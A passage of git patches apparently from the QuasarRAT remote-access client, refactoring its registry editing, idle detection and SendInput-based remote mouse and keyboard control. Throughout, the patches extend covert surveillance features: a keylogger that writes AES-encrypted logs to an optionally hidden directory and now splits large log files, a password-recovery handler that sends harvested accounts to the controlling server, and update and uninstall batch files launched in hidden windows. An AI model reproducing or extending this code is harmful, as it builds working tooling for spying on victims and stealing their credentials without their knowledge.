if the operation succeeded. public static bool RenameRegistryKey(string oldName, string newName, string parentPath, out string errorMsg) { @@ -189,17 +175,13 @@ public static bool RenameRegistryKey(string oldName, string newName, string pare } } - #endregion - - #region RegistryValue - /// /// Attempts to create the desired value for the specified parent. /// /// The path to the key for which to create the registry value on. /// The type of the registry value to create. /// output parameter that holds the name of the registry value that was create. - /// output parameter that contians possible error message. + /// output parameter that contains possible error message. /// Returns true if the operation succeeded. public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, out string name, out string errorMsg) { @@ -252,7 +234,7 @@ public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, o ///
/// The path to the key for which to delete the registry value on. /// /// The name of the registry value to delete. - /// output parameter that contians possible error message. + /// output parameter that contains possible error message. /// Returns true if the operation succeeded. public static bool DeleteRegistryValue(string keyPath, string name, out string errorMsg) { @@ -301,7 +283,7 @@ public static bool DeleteRegistryValue(string keyPath, string name, out string e /// The name of the registry value to rename. /// The name to use for renaming. /// The path of the key for which to rename the registry value. - /// output parameter that contians possible error message. + /// output parameter that contains possible error message. /// Returns true if the operation succeeded. public static bool RenameRegistryValue(string oldName, string newName, string keyPath, out string errorMsg) { @@ -352,7 +334,7 @@ public static bool RenameRegistryValue(string oldName, string newName, string ke /// RegValueData object. /// The path to the key for which to change the /// value of the registry value on. - /// output parameter that contians possible error message. + /// output parameter that contains possible error message. /// Returns true if the operation succeeded. public static bool ChangeRegistryValue(RegValueData value, string keyPath, out string errorMsg) { @@ -395,8 +377,6 @@ public static bool ChangeRegistryValue(RegValueData value, string keyPath, out s } - #endregion - public static RegistryKey GetWritableRegistryKey(string keyPath) { RegistryKey key = RegistrySeeker.GetRootKey(keyPath); diff --git a/Quasar.Client/Registry/RegistrySeeker.cs b/Quasar.Client/Registry/RegistrySeeker.cs index a75c82aed..4ba76cb14 100644 --- a/Quasar.Client/Registry/RegistrySeeker.cs +++ b/Quasar.Client/Registry/RegistrySeeker.cs @@ -1,42 +1,24 @@ -using System; -using System.Collections.Generic; -using Microsoft.Win32; +using Microsoft.Win32; using Quasar.Client.Extensions; using Quasar.Client.Helper; using Quasar.Common.Models; +using System; +using System.Collections.Generic; namespace Quasar.Client.Registry { public class RegistrySeeker { - - #region Fields - - /// - /// The lock used to ensure thread safety. - /// - private readonly object locker = new object(); - /// /// The list containing the matches found during the search. /// - private List matches; + private readonly List _matches; - public RegSeekerMatch[] Matches - { - get - { - if (matches != null) - return matches.ToArray(); - return null; - } - } - - #endregion + public RegSeekerMatch[] Matches => _matches?.ToArray(); public RegistrySeeker() { - matches = new List(); + _matches = new List(); } public void BeginSeeking(string rootKeyName) @@ -112,14 +94,13 @@ private void ProcessKey(RegistryKey key, string keyName) { AddMatch(keyName, RegistryKeyHelper.GetDefaultValues(), 0); } - } private void AddMatch(string key, RegValueData[] values, int subkeycount) { RegSeekerMatch match = new RegSeekerMatch {Key = key, Data = values, HasSubKeys = subkeycount > 0}; - matches.Add(match); + _matches.Add(match); } public static RegistryKey GetRootKey(string subkeyFullPath) diff --git a/Quasar.Client/Setup/ClientUninstaller.cs b/Quasar.Client/Setup/ClientUninstaller.cs index 66910df12..61a0fb0c2 100644 --- a/Quasar.Client/Setup/ClientUninstaller.cs +++ b/Quasar.Client/Setup/ClientUninstaller.cs @@ -1,6 +1,5 @@ using Quasar.Client.Config; using Quasar.Client.IO; -using System; using System.Diagnostics; using System.Windows.Forms; @@ -18,9 +17,6 @@ public void Uninstall() string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath, Settings.LOGSPATH); - if (string.IsNullOrEmpty(batchFile)) - throw new Exception("Could not create uninstall-batch file."); - ProcessStartInfo startInfo = new ProcessStartInfo { WindowStyle = ProcessWindowStyle.Hidden, diff --git a/Quasar.Client/Setup/ClientUpdater.cs b/Quasar.Client/Setup/ClientUpdater.cs index 6481381a4..3141724bd 100644 --- a/Quasar.Client/Setup/ClientUpdater.cs +++ b/Quasar.Client/Setup/ClientUpdater.cs @@ -20,9 +20,6 @@ public void Update(string newFilePath) string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath); - if (string.IsNullOrEmpty(batchFile)) - throw new Exception("Could not create update batch file."); - ProcessStartInfo startInfo = new ProcessStartInfo { WindowStyle = ProcessWindowStyle.Hidden, diff --git a/Quasar.Client/User/ActivityDetection.cs b/Quasar.Client/User/ActivityDetection.cs index 15f1a4361..eb232a19f 100644 --- a/Quasar.Client/User/ActivityDetection.cs +++ b/Quasar.Client/User/ActivityDetection.cs @@ -7,16 +7,35 @@ namespace Quasar.Client.User { + /// + /// Provides user activity detection and sends messages on change. + /// public class ActivityDetection : IDisposable { - public UserStatus LastUserStatus { get; private set; } + /// + /// Stores the last user status to detect changes. + /// + private UserStatus _lastUserStatus; + /// + /// The client to use for communication with the server. + /// private readonly QuasarClient _client; + /// + /// Create a and signals cancellation. + /// private readonly CancellationTokenSource _tokenSource; + /// + /// The token to check for cancellation. + /// private readonly CancellationToken _token; + /// + /// Initializes a new instance of using the given client. + /// + /// The name of the mutex. public ActivityDetection(QuasarClient client) { _client = client; @@ -29,44 +48,47 @@ private void OnClientStateChange(Networking.Client s, bool connected) { // reset user status if (connected) - LastUserStatus = UserStatus.Active; + _lastUserStatus = UserStatus.Active; } + /// + /// Starts the user activity detection. + /// public void Start() { - new Thread(UserIdleThread).Start(); + new Thread(UserActivityThread).Start(); } - public void Dispose() - { - _client.ClientState -= OnClientStateChange; - _tokenSource.Cancel(); - _tokenSource.Dispose(); - } - - private void UserIdleThread() + /// + /// Checks for user activity changes sends to the on change. + /// + private void UserActivityThread() { - while (!_token.WaitHandle.WaitOne(1000)) + while (!_token.WaitHandle.WaitOne(10)) { if (IsUserIdle()) { - if (LastUserStatus != UserStatus.Idle) + if (_lastUserStatus != UserStatus.Idle) { - LastUserStatus = UserStatus.Idle; - _client.Send(new SetUserStatus {Message = LastUserStatus}); + _lastUserStatus = UserStatus.Idle; + _client.Send(new SetUserStatus {Message = _lastUserStatus}); } } else { - if (LastUserStatus != UserStatus.Active) + if (_lastUserStatus != UserStatus.Active) { - LastUserStatus = UserStatus.Active; - _client.Send(new SetUserStatus {Message = LastUserStatus}); + _lastUserStatus = UserStatus.Active; + _client.Send(new SetUserStatus {Message = _lastUserStatus}); } } } } + /// + /// Determines whether the user is idle if the last user input was more than 10 minutes ago. + /// + /// True if the user is idle, else false. private bool IsUserIdle() { var ticks = Environment.TickCount; @@ -77,5 +99,24 @@ private bool IsUserIdle() return (idleTime > 600); // idle for 10 minutes } + + /// + /// Disposes all managed and unmanaged resources associated with this activity detection service. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _client.ClientState -= OnClientStateChange; + _tokenSource.Cancel(); + _tokenSource.Dispose(); + } + } } } From 7a5f6451ee2aa76563d06e6aa5c1ad447e3fd835 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Fri, 29 May 2020 16:58:22 +0200 Subject: [PATCH 183/229] Update BouncyCastle package --- Quasar.Server/Quasar.Server.csproj | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/Quasar.Server/Quasar.Server.csproj b/Quasar.Server/Quasar.Server.csproj index d6eae070b..097ecb383 100644 --- a/Quasar.Server/Quasar.Server.csproj +++ b/Quasar.Server/Quasar.Server.csproj @@ -300,9 +300,6 @@ - - 1.8.6.1 - 0.11.2 @@ -310,6 +307,7 @@ 5.6.0 + 2.4.6 From 0b699b3366cc7ca9b54764dc2e13fc63fc9a90fc Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 30 May 2020 15:06:05 +0200 Subject: [PATCH 184/229] Fix client shutdown --- Quasar.Client/QuasarApplication.cs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Quasar.Client/QuasarApplication.cs b/Quasar.Client/QuasarApplication.cs index 0a3b89486..55c411c46 100644 --- a/Quasar.Client/QuasarApplication.cs +++ b/Quasar.Client/QuasarApplication.cs @@ -212,8 +212,8 @@ protected virtual void Dispose(bool disposing) CleanupMessageProcessors(); _keyloggerService?.Dispose(); _userActivityDetection?.Dispose(); - ApplicationMutex.Dispose(); - _connectClient.Dispose(); + ApplicationMutex?.Dispose(); + _connectClient?.Dispose(); } } } From 7f55768842f960e5580f4745fdbe6647e212e1ef Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 30 May 2020 17:14:20 +0200 Subject: [PATCH 185/229] Update mouse and keyboard input to SendInput API #733 --- Quasar.Client/Helper/NativeMethodsHelper.cs | 85 +++++++++++++++++++- Quasar.Client/Utilities/NativeMethods.cs | 89 ++++++++++++++------- 2 files changed, 143 insertions(+), 31 deletions(-) diff --git a/Quasar.Client/Helper/NativeMethodsHelper.cs b/Quasar.Client/Helper/NativeMethodsHelper.cs index af10fdf53..1002244ee 100644 --- a/Quasar.Client/Helper/NativeMethodsHelper.cs +++ b/Quasar.Client/Helper/NativeMethodsHelper.cs @@ -8,6 +8,9 @@ namespace Quasar.Client.Helper { public static class NativeMethodsHelper { + private const int INPUT_MOUSE = 0; + private const int INPUT_KEYBOARD = 1; + private const uint MOUSEEVENTF_LEFTDOWN = 0x0002; private const uint MOUSEEVENTF_LEFTUP = 0x0004; private const uint MOUSEEVENTF_RIGHTDOWN = 0x0008; @@ -27,12 +30,50 @@ public static uint GetLastInputInfoTickCount() public static void DoMouseLeftClick(Point p, bool isMouseDown) { - NativeMethods.mouse_event(isMouseDown ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP, p.X, p.Y, 0, UIntPtr.Zero); + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_MOUSE, + u = new NativeMethods.InputUnion + { + mi = new NativeMethods.MOUSEINPUT + { + dx = p.X, + dy = p.Y, + mouseData = 0, + dwFlags = isMouseDown ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP, + time = 0, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); } public static void DoMouseRightClick(Point p, bool isMouseDown) { - NativeMethods.mouse_event(isMouseDown ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP, p.X, p.Y, 0, UIntPtr.Zero); + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_MOUSE, + u = new NativeMethods.InputUnion + { + mi = new NativeMethods.MOUSEINPUT + { + dx = p.X, + dy = p.Y, + mouseData = 0, + dwFlags = isMouseDown ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP, + time = 0, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); } public static void DoMouseMove(Point p) @@ -42,12 +83,48 @@ public static void DoMouseMove(Point p) public static void DoMouseScroll(Point p, bool scrollDown) { - NativeMethods.mouse_event(MOUSEEVENTF_WHEEL, p.X, p.Y, scrollDown ? -120 : 120, UIntPtr.Zero); + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_MOUSE, + u = new NativeMethods.InputUnion + { + mi = new NativeMethods.MOUSEINPUT + { + dx = p.X, + dy = p.Y, + mouseData = scrollDown ? -120 : 120, + dwFlags = MOUSEEVENTF_WHEEL, + time = 0, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); } public static void DoKeyPress(byte key, bool keyDown) { - NativeMethods.keybd_event(key, 0, keyDown ? KEYEVENTF_KEYDOWN : KEYEVENTF_KEYUP, UIntPtr.Zero); + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_KEYBOARD, + u = new NativeMethods.InputUnion + { + ki = new NativeMethods.KEYBDINPUT + { + wVk = key, + wScan = 0, + dwFlags = keyDown ? KEYEVENTF_KEYDOWN : KEYEVENTF_KEYUP, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); } private const int SPI_GETSCREENSAVERRUNNING = 114; diff --git a/Quasar.Client/Utilities/NativeMethods.cs b/Quasar.Client/Utilities/NativeMethods.cs index 487ef1a39..3ae08c2f9 100644 --- a/Quasar.Client/Utilities/NativeMethods.cs +++ b/Quasar.Client/Utilities/NativeMethods.cs @@ -6,7 +6,7 @@ namespace Quasar.Client.Utilities { /// - /// Provides access to Win32 API and Microsoft C Runtime Library (msvcrt.dll). + /// Provides access to the Win32 API. /// public static class NativeMethods { @@ -27,18 +27,6 @@ internal struct LASTINPUTINFO [DllImport("kernel32.dll", SetLastError = true)] internal static extern bool QueryFullProcessImageName([In] IntPtr hProcess, [In] uint dwFlags, [Out] StringBuilder lpExeName, [In, Out] ref uint lpdwSize); - [DllImport("user32.dll")] - internal static extern bool GetLastInputInfo(ref LASTINPUTINFO plii); - - [DllImport("user32.dll")] - internal static extern bool SetCursorPos(int x, int y); - - [DllImport("user32.dll")] - internal static extern void mouse_event(uint dwFlags, int dx, int dy, int dwData, UIntPtr dwExtraInfo); - - [DllImport("user32.dll")] - internal static extern bool keybd_event(byte bVk, byte bScan, uint dwFlags, UIntPtr dwExtraInfo); - /// /// Performs a bit-block transfer of the color data corresponding to a /// rectangle of pixels from the specified source device context into @@ -67,26 +55,74 @@ internal static extern bool BitBlt([In] IntPtr hdc, int nXDest, int nYDest, int [DllImport("gdi32.dll")] internal static extern bool DeleteDC([In] IntPtr hdc); - [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - internal static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count); - - [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - internal static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count); + [DllImport("user32.dll")] + internal static extern bool GetLastInputInfo(ref LASTINPUTINFO plii); - [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - internal static extern int memcpy(IntPtr dst, IntPtr src, uint count); + [DllImport("user32.dll")] + internal static extern bool SetCursorPos(int x, int y); - [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - internal static extern unsafe int memcpy(void* dst, void* src, uint count); + [DllImport("user32.dll", SetLastError = false)] + internal static extern IntPtr GetMessageExtraInfo(); + /// + /// Synthesizes keystrokes, mouse motions, and button clicks. + /// [DllImport("user32.dll")] - internal static extern bool SystemParametersInfo( - uint uAction, uint uParam, ref IntPtr lpvParam, - uint flags); + internal static extern uint SendInput(uint nInputs, + [MarshalAs(UnmanagedType.LPArray), In] INPUT[] pInputs, + int cbSize); + + [StructLayout(LayoutKind.Sequential)] + internal struct INPUT + { + internal uint type; + internal InputUnion u; + internal static int Size => Marshal.SizeOf(typeof(INPUT)); + } + + [StructLayout(LayoutKind.Explicit)] + internal struct InputUnion + { + [FieldOffset(0)] + internal MOUSEINPUT mi; + [FieldOffset(0)] + internal KEYBDINPUT ki; + [FieldOffset(0)] + internal HARDWAREINPUT hi; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct MOUSEINPUT + { + internal int dx; + internal int dy; + internal int mouseData; + internal uint dwFlags; + internal uint time; + internal IntPtr dwExtraInfo; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct KEYBDINPUT + { + internal ushort wVk; + internal ushort wScan; + internal uint dwFlags; + internal uint time; + internal IntPtr dwExtraInfo; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct HARDWAREINPUT + { + public uint uMsg; + public ushort wParamL; + public ushort wParamH; + } [DllImport("user32.dll")] internal static extern bool SystemParametersInfo( - uint uAction, uint uParam, ref bool lpvParam, + uint uAction, uint uParam, ref IntPtr lpvParam, uint flags); [DllImport("user32.dll")] @@ -135,7 +171,6 @@ internal struct MibTcprowOwnerPid public uint remoteAddr; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] remotePort; public uint owningPid; - public IPAddress LocalAddress { get { return new IPAddress(localAddr); } From fe7391b6e23f706668cb10c497019f103cb32840 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 30 May 2020 17:19:53 +0200 Subject: [PATCH 186/229] Removed unused dispose methods --- Quasar.Client/Messages/ClientServicesHandler.cs | 14 -------------- Quasar.Client/Messages/KeyloggerHandler.cs | 15 --------------- Quasar.Client/Messages/MessageBoxHandler.cs | 14 -------------- Quasar.Client/Messages/PasswordRecoveryHandler.cs | 15 --------------- Quasar.Client/Messages/RegistryHandler.cs | 14 -------------- Quasar.Client/Messages/ReverseProxyHandler.cs | 15 --------------- Quasar.Client/Messages/ShutdownHandler.cs | 14 -------------- Quasar.Client/Messages/StartupManagerHandler.cs | 14 -------------- .../Messages/SystemInformationHandler.cs | 14 -------------- Quasar.Client/Messages/TcpConnectionsHandler.cs | 14 -------------- Quasar.Client/Messages/WebsiteVisitorHandler.cs | 14 -------------- 11 files changed, 157 deletions(-) diff --git a/Quasar.Client/Messages/ClientServicesHandler.cs b/Quasar.Client/Messages/ClientServicesHandler.cs index f096bcb21..44bc8990c 100644 --- a/Quasar.Client/Messages/ClientServicesHandler.cs +++ b/Quasar.Client/Messages/ClientServicesHandler.cs @@ -109,19 +109,5 @@ private void Execute(ISender client, DoAskElevate message) client.Send(new SetStatus { Message = "Process already elevated." }); } } - - /// - /// Disposes all managed and unmanaged resources associated with this message processor. - /// - public void Dispose() - { - Dispose(true); - GC.SuppressFinalize(this); - } - - protected virtual void Dispose(bool disposing) - { - - } } } diff --git a/Quasar.Client/Messages/KeyloggerHandler.cs b/Quasar.Client/Messages/KeyloggerHandler.cs index 6803ee49a..4a91637b4 100644 --- a/Quasar.Client/Messages/KeyloggerHandler.cs +++ b/Quasar.Client/Messages/KeyloggerHandler.cs @@ -1,7 +1,6 @@ using Quasar.Client.Config; using Quasar.Common.Messages; using Quasar.Common.Networking; -using System; namespace Quasar.Client.Messages { @@ -25,19 +24,5 @@ public void Execute(ISender client, GetKeyloggerLogsDirectory message) { client.Send(new GetKeyloggerLogsDirectoryResponse {LogsDirectory = Settings.LOGSPATH }); } - - /// - /// Disposes all managed and unmanaged resources associated with this message processor. - /// - public void Dispose() - { - Dispose(true); - GC.SuppressFinalize(this); - } - - protected virtual void Dispose(bool disposing) - { - - } } } diff --git a/Quasar.Client/Messages/MessageBoxHandler.cs b/Quasar.Client/Messages/MessageBoxHandler.cs index c14a045c6..608663f04 100644 --- a/Quasar.Client/Messages/MessageBoxHandler.cs +++ b/Quasar.Client/Messages/MessageBoxHandler.cs @@ -35,19 +35,5 @@ private void Execute(ISender client, DoShowMessageBox message) client.Send(new SetStatus { Message = "Successfully displayed MessageBox" }); } - - /// - /// Disposes all managed and unmanaged resources associated with this message processor. - /// - public void Dispose() - { - Dispose(true); - GC.SuppressFinalize(this); - } - - protected virtual void Dispose(bool disposing) - { - - } } } diff --git a/Quasar.Client/Messages/PasswordRecoveryHandler.cs b/Quasar.Client/Messages/PasswordRecoveryHandler.cs index f04512393..b86f0abaa 100644 --- a/Quasar.Client/Messages/PasswordRecoveryHandler.cs +++ b/Quasar.Client/Messages/PasswordRecoveryHandler.cs @@ -3,7 +3,6 @@ using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Common.Networking; -using System; using System.Collections.Generic; namespace Quasar.Client.Messages @@ -38,19 +37,5 @@ private void Execute(ISender client, GetPasswords message) client.Send(new GetPasswordsResponse { RecoveredAccounts = recovered }); } - - /// - /// Disposes all managed and unmanaged resources associated with this message processor. - /// - public void Dispose() - { - Dispose(true); - GC.SuppressFinalize(this); - } - - protected virtual void Dispose(bool disposing) - { - - } } } diff --git a/Quasar.Client/Messages/RegistryHandler.cs b/Quasar.Client/Messages/RegistryHandler.cs index 49a689795..3abc30e88 100644 --- a/Quasar.Client/Messages/RegistryHandler.cs +++ b/Quasar.Client/Messages/RegistryHandler.cs @@ -224,19 +224,5 @@ private void Execute(ISender client, DoChangeRegistryValue message) client.Send(responsePacket); } - - /// - /// Disposes all managed and unmanaged resources associated with this message processor. - /// - public void Dispose() - { - Dispose(true); - GC.SuppressFinalize(this); - } - - protected virtual void Dispose(bool disposing) - { - - } } } diff --git a/Quasar.Client/Messages/ReverseProxyHandler.cs b/Quasar.Client/Messages/ReverseProxyHandler.cs index 6fcaf1982..21e958856 100644 --- a/Quasar.Client/Messages/ReverseProxyHandler.cs +++ b/Quasar.Client/Messages/ReverseProxyHandler.cs @@ -3,7 +3,6 @@ using Quasar.Common.Messages; using Quasar.Common.Messages.ReverseProxy; using Quasar.Common.Networking; -using System; namespace Quasar.Client.Messages { @@ -55,19 +54,5 @@ private void Execute(ISender client, ReverseProxyDisconnect message) socksClient?.Disconnect(); } - - /// - /// Disposes all managed and unmanaged resources associated with this message processor. - /// - public void Dispose() - { - Dispose(true); - GC.SuppressFinalize(this); - } - - protected virtual void Dispose(bool disposing) - { - - } } } diff --git a/Quasar.Client/Messages/ShutdownHandler.cs b/Quasar.Client/Messages/ShutdownHandler.cs index 3220c7aca..de0ea50b5 100644 --- a/Quasar.Client/Messages/ShutdownHandler.cs +++ b/Quasar.Client/Messages/ShutdownHandler.cs @@ -54,19 +54,5 @@ private void Execute(ISender client, DoShutdownAction message) client.Send(new SetStatus { Message = $"Action failed: {ex.Message}" }); } } - - /// - /// Disposes all managed and unmanaged resources associated with this message processor. - /// - public void Dispose() - { - Dispose(true); - GC.SuppressFinalize(this); - } - - protected virtual void Dispose(bool disposing) - { - - } } } diff --git a/Quasar.Client/Messages/StartupManagerHandler.cs b/Quasar.Client/Messages/StartupManagerHandler.cs index 3c35f868a..50b6f32ae 100644 --- a/Quasar.Client/Messages/StartupManagerHandler.cs +++ b/Quasar.Client/Messages/StartupManagerHandler.cs @@ -280,19 +280,5 @@ private void Execute(ISender client, DoStartupItemRemove message) client.Send(new SetStatus { Message = $"Removing Autostart Item failed: {ex.Message}" }); } } - - /// - /// Disposes all managed and unmanaged resources associated with this message processor. - /// - public void Dispose() - { - Dispose(true); - GC.SuppressFinalize(this); - } - - protected virtual void Dispose(bool disposing) - { - - } } } diff --git a/Quasar.Client/Messages/SystemInformationHandler.cs b/Quasar.Client/Messages/SystemInformationHandler.cs index a494dbf01..32826111a 100644 --- a/Quasar.Client/Messages/SystemInformationHandler.cs +++ b/Quasar.Client/Messages/SystemInformationHandler.cs @@ -68,19 +68,5 @@ private void Execute(ISender client, GetSystemInfo message) { } } - - /// - /// Disposes all managed and unmanaged resources associated with this message processor. - /// - public void Dispose() - { - Dispose(true); - GC.SuppressFinalize(this); - } - - protected virtual void Dispose(bool disposing) - { - - } } } diff --git a/Quasar.Client/Messages/TcpConnectionsHandler.cs b/Quasar.Client/Messages/TcpConnectionsHandler.cs index 499678c70..f4c55d653 100644 --- a/Quasar.Client/Messages/TcpConnectionsHandler.cs +++ b/Quasar.Client/Messages/TcpConnectionsHandler.cs @@ -113,19 +113,5 @@ private NativeMethods.MibTcprowOwnerPid[] GetTable() } return tTable; } - - /// - /// Disposes all managed and unmanaged resources associated with this message processor. - /// - public void Dispose() - { - Dispose(true); - GC.SuppressFinalize(this); - } - - protected virtual void Dispose(bool disposing) - { - - } } } diff --git a/Quasar.Client/Messages/WebsiteVisitorHandler.cs b/Quasar.Client/Messages/WebsiteVisitorHandler.cs index b3f9b1ea7..773b98284 100644 --- a/Quasar.Client/Messages/WebsiteVisitorHandler.cs +++ b/Quasar.Client/Messages/WebsiteVisitorHandler.cs @@ -56,19 +56,5 @@ private void Execute(ISender client, DoVisitWebsite message) client.Send(new SetStatus { Message = "Visited Website" }); } } - - /// - /// Disposes all managed and unmanaged resources associated with this message processor. - /// - public void Dispose() - { - Dispose(true); - GC.SuppressFinalize(this); - } - - protected virtual void Dispose(bool disposing) - { - - } } } From f037afa694a0c0393edd32a080fef9031937ca9a Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 30 May 2020 18:35:01 +0200 Subject: [PATCH 187/229] Split large keylogger files Closes #554, Closes #588 --- Quasar.Client/Logging/Keylogger.cs | 37 +++++++++++++++++++---- Quasar.Client/Logging/KeyloggerService.cs | 2 +- 2 files changed, 32 insertions(+), 7 deletions(-) diff --git a/Quasar.Client/Logging/Keylogger.cs b/Quasar.Client/Logging/Keylogger.cs index 99b0069f7..3ae6eb29b 100644 --- a/Quasar.Client/Logging/Keylogger.cs +++ b/Quasar.Client/Logging/Keylogger.cs @@ -32,7 +32,7 @@ public class Keylogger : IDisposable private readonly Timer _timerFlush; /// - /// The + /// The buffer used to store the logged keys in memory. /// private readonly StringBuilder _logFileBuffer = new StringBuilder(); @@ -66,12 +66,19 @@ public class Keylogger : IDisposable /// private readonly Aes256 _aesInstance = new Aes256(Settings.ENCRYPTIONKEY); + /// + /// The maximum size of a single log file. + /// + private readonly long _maxLogFileSize; + /// /// Initializes a new instance of that provides keylogging functionality. /// /// The interval to flush the buffer from memory to disk. - public Keylogger(double flushInterval) + /// The maximum size of a single log file. + public Keylogger(double flushInterval, long maxLogFileSize) { + _maxLogFileSize = maxLogFileSize; _mEvents = Hook.GlobalEvents(); _timerFlush = new Timer { Interval = flushInterval }; _timerFlush.Elapsed += TimerElapsed; @@ -106,6 +113,7 @@ protected virtual void Dispose(bool disposing) _timerFlush.Stop(); _timerFlush.Dispose(); _mEvents.Dispose(); + WriteFile(); } IsDisposed = true; @@ -304,10 +312,10 @@ private void TimerElapsed(object sender, System.Timers.ElapsedEventArgs e) ///
private void WriteFile() { - // TODO: large log files take a very long time to read, decrypt and append new logs to + // TODO: Add some house-keeping and delete old log entries bool writeHeader = false; - string filename = Path.Combine(Settings.LOGSPATH, DateTime.Now.ToString("MM-dd-yyyy")); + string filePath = Path.Combine(Settings.LOGSPATH, DateTime.Now.ToString("MM-dd-yyyy")); try { @@ -319,7 +327,24 @@ private void WriteFile() if (Settings.HIDELOGDIRECTORY) di.Attributes = FileAttributes.Directory | FileAttributes.Hidden; - if (!File.Exists(filename)) + int i = 1; + while (File.Exists(filePath)) + { + // Large log files take a very long time to read, decrypt and append new logs to, + // so create a new log file if the size of the previous one exceeds _maxLogFileSize. + long length = new FileInfo(filePath).Length; + if (length < _maxLogFileSize) + { + break; + } + + // append a number to the file name + var newFileName = $"{Path.GetFileName(filePath)}_{i}"; + filePath = Path.Combine(Settings.LOGSPATH, newFileName); + i++; + } + + if (!File.Exists(filePath)) writeHeader = true; StringBuilder logFile = new StringBuilder(); @@ -340,7 +365,7 @@ private void WriteFile() logFile.Append(_logFileBuffer); } - FileHelper.WriteLogFile(filename, logFile.ToString(), _aesInstance); + FileHelper.WriteLogFile(filePath, logFile.ToString(), _aesInstance); logFile.Clear(); } diff --git a/Quasar.Client/Logging/KeyloggerService.cs b/Quasar.Client/Logging/KeyloggerService.cs index 14d470499..769546ee6 100644 --- a/Quasar.Client/Logging/KeyloggerService.cs +++ b/Quasar.Client/Logging/KeyloggerService.cs @@ -32,7 +32,7 @@ public KeyloggerService() _msgLoopThread = new Thread(() => { _msgLoop = new ApplicationContext(); - _keylogger = new Keylogger(15000); + _keylogger = new Keylogger(15000, 5 * 1024 * 1024); _keylogger.Start(); Application.Run(_msgLoop); }); From e6aedc4e6326b06bdd8efb01443699b78b2a42c7 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 31 May 2020 11:27:04 +0200 Subject: [PATCH 188/229] Switch client to AnyCPU target platform --- Quasar.Client/Config/Settings.cs | 23 ++---------- Quasar.Client/Quasar.Client.csproj | 11 +++--- Quasar.Common/Enums/StartupType.cs | 2 -- .../Video/Codecs/UnsafeStreamCodec.cs | 14 ++++++-- Quasar.Server/Forms/FrmBuilder.cs | 8 ++--- Quasar.Server/Forms/FrmStartupAdd.cs | 2 -- Quasar.Server/Forms/FrmStartupManager.cs | 7 ---- QuasarRAT.sln | 36 +++++++++---------- 8 files changed, 40 insertions(+), 63 deletions(-) diff --git a/Quasar.Client/Config/Settings.cs b/Quasar.Client/Config/Settings.cs index 5f5b1d2d4..e9caa89a9 100644 --- a/Quasar.Client/Config/Settings.cs +++ b/Quasar.Client/Config/Settings.cs @@ -1,5 +1,4 @@ using Quasar.Common.Cryptography; -using Quasar.Common.Helpers; using System; using System.IO; using System.Security.Cryptography; @@ -41,7 +40,7 @@ public static class Settings public static bool Initialize() { - FixDirectory(); + SetupPaths(); return true; } #else @@ -83,31 +82,15 @@ public static bool Initialize() LOGDIRECTORYNAME = aes.Decrypt(LOGDIRECTORYNAME); SERVERSIGNATURE = aes.Decrypt(SERVERSIGNATURE); SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(SERVERCERTIFICATESTR))); - FixDirectory(); + SetupPaths(); return VerifyHash(); } #endif - static void FixDirectory() + static void SetupPaths() { - // set up paths LOGSPATH = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), LOGDIRECTORYNAME); INSTALLPATH = Path.Combine(DIRECTORY, (!string.IsNullOrEmpty(SUBDIRECTORY) ? SUBDIRECTORY + @"\" : "") + INSTALLNAME); - - if (PlatformHelper.Is64Bit) return; - - // https://msdn.microsoft.com/en-us/library/system.environment.specialfolder(v=vs.110).aspx - switch (SPECIALFOLDER) - { - case Environment.SpecialFolder.ProgramFilesX86: - SPECIALFOLDER = Environment.SpecialFolder.ProgramFiles; - break; - case Environment.SpecialFolder.SystemX86: - SPECIALFOLDER = Environment.SpecialFolder.System; - break; - } - - DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER); } static bool 